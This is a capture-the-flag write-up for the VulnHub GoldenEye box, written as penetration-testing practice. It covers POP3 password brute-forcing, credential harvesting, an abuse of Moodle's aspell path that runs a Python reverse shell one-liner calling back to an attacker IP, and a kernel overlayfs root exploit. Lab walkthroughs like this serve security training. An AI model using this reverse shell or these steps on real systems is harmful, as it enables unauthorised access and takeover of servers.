This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following steps:
- Web Enumeration
- Pop3 bruteforcing and enumeration
- Moodle spell check path exploit for reverse shell
- Kernel exploitation for Privilege Exploitation
I started with the initial Nmap scan and the result is as below.
Scanned at 2022-04-18 21:41:48 EDT for 28s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack ttl 64 Postfix smtpd
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.7 ((Ubuntu))
|_http-title: GoldenEye Primary Admin Server
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.7 (Ubuntu)
MAC Address: 08:00:27:33:18:3B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Uptime guess: 198.840 days (since Sat Oct 2 01:31:58 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: All zeros
TRACEROUTE
HOP RTT ADDRESS
1 0.41 ms 10.0.0.22
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 18 21:42:16 2022 -- 1 IP address (1 host up) scanned in 28.62 seconds
I can see that port 80 is open.
Enumerating further and checking the source code, I find the terminal.js file. Opening the file gave me a hint for user boris.
It looks like it is HTML encoded. Decoding the HTML gave a password InvincibleHack3r.
Now, going to /sev-home as mentioned on the homepage. We can use boris:InvincibleHack3r to log in. When logged in we are greeted with the below.
As mentioned on the /sev-home page, there is a pop3 server running and you can email the supervisor to get the credential/training to get admin access.
I tried the same username: password to get access but was unsuccessful. I tried brute-forcing the pop3 server and was able to crack the password for the user boris.
There are 3 emails in the inbox for user boris.
From the emails I collected the following information:
- Emails are not scanned so we can use for inlude malicious code to compromise the system.
- Another username
natalyawho claim they can break userboriscodes. - user
borisis involved with another organization to compromise the golden eye server.
As the user boris emails are not of much use. Let’s see the mail of the user natalya . After bruteforcing I was able to find the password as bird.
Upon checking email I can see that user natalya has 2 mails.
I found the following information from the mails:
- User
natalyais GNO supervisor for training - User creds
xenia:RCP90rulez! - New hostname
servernaya-station.com - New web directory
gnocertdir
I can see a moodle platform hosted in the web directory found above.
I used the user: password to log in and was successful to log in. Upon logging in I can see a message from doak who is a Training Scientist.
Going back to pop3 server, I tried brute-forcing user doak and got a hit.
User doak only had one mail and it consist of user credential. I guess its for moodle platform.
After logging in to moodle, I can see there is a private files section. There is a s3cret.txt file and it provides us with one more web directory with an image.
Downloading that image and running exiftool on it revealed some base64 encoded code.
Decoding that code gave me a credential most probably a password for the user admin.
Now after logging in the moodle as admin. I started looking for various methods to gain a reverse shell. I found that we can change the path of a aspell plugin, which checks the spelling of the test and get a reverse shell. Once we change the path to the malicious code, when clicking to check the spelling it will trigger that code and we can gain a reverse shell.
Settings > Site administration > Server > System Paths. Change the path of aspell to a reverse shell payload. I used a python reverse shell payload.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.19",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Now once you have changed the path. You can create a blog and click the spell checker which should give you a reverse shell.
However, I couldn’t trigger the shell while checking the spelling. Looking around the internet, I found that the default spell checker for moodle is google spelling. I changed the default spell checker to the aspell which has the malicious reverse shell payload.
Settings > Site administration > Text editors > TinyMCE HTMl editor I changed the spell engine to PSpellShell .
Now I was able to gain reverse shell.
Now I uploaded the linpeas.sh script for possible privilege escalation vectors.
Look like the kernel is vulnerable to privilege escalation. A quick search for this kernel, I found that it is vulnerable to overlayfs.
Now, this script requires gcc to compile and run. But our system does not have gcc to compile it as well as run it. So you have to open the script and change the gcc to cc
When you use cc in the target system to compile this c file, it might give you some errors, but ignore those warnings and once compiled run the binary. You get root.
And the flag details.